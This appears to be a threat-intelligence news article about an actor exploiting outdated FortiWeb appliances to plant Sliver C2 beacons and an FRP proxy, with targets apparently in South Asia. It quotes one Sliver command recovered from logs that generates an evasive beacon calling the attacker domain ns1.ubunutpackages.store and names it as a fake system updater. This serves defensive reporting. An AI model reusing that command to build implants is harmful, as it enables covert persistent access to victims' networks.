Threat Actor Exploited Multiple FortiWeb Appliances to Deploy Sliver C2 for Persistent Access
Recent analyses show that a sophisticated threat actor is exploiting multiple outdated FortiWeb appliances to deploy the Sliver Command and Control (C2) framework. This campaign underscores a trend where adversaries use open-source offensive tools to…
Recent analyses show that a sophisticated threat actor is exploiting multiple outdated FortiWeb appliances to deploy the Sliver Command and Control (C2) framework. This campaign underscores a trend where adversaries use open-source offensive tools to maintain persistent access within compromised networks, often circumventing traditional security defenses . The attackers focus on unpatched edge devices, converting them into stable entry points for broader network infiltration.
The infection process primarily targets vulnerabilities in FortiWeb devices, specifically firmware versions 5.4.202 through 6.1.62. Although the exact vulnerability used remains unconfirmed, React2Shell (CVE-2025-55182) has been utilized in parallel operations. Upon gaining initial access, the Fast Reverse Proxy (FRP) tool is deployed to expose local services, creating a connection between the victim's internal network and the attacker's external systems.
During threat hunting on Censys, exposed Sliver C2 databases and logs were discovered, providing insight into the attacker's operations. These exposed assets revealed compromised devices communicating with command servers. Most victim hosts were running outdated firmware, making them vulnerable to this targeted campaign.
The operational impact is significant, granting the attacker long-term persistence on critical security appliances. By embedding the Sliver implant onto the firewall , the attackers can monitor traffic and execute privileged commands. The campaign shows a strategic focus, with evidence pointing towards targets in South Asia.
The attackers focus on unpatched edge devices, converting them into stable entry points for broader network infiltration.
The infrastructure is built around decoy domains that mimic legitimate services. Analysis of the C2 configuration revealed domains such as ns1.ubunutpackages[.]store and ns1.bafairforce[.]army hosting fake content for deception. Specific Sliver commands were used to create payloads with evasion capabilities. The following command was retrieved from the logs:
generate beacon --http ns1.ubunutpackages.store --reconnect 120 --strategy r --template ubuntu --os linux --evasion --save ./system-updater --seconds 60
This configuration sets the beacon to reconnect every 120 seconds and uses an "ubuntu" template to blend with Linux processes. The resulting binary was deployed to /bin/.root/system-updater on compromised FortiWeb devices , masquerading as a system update utility.
Based on reporting by Cyber Security News.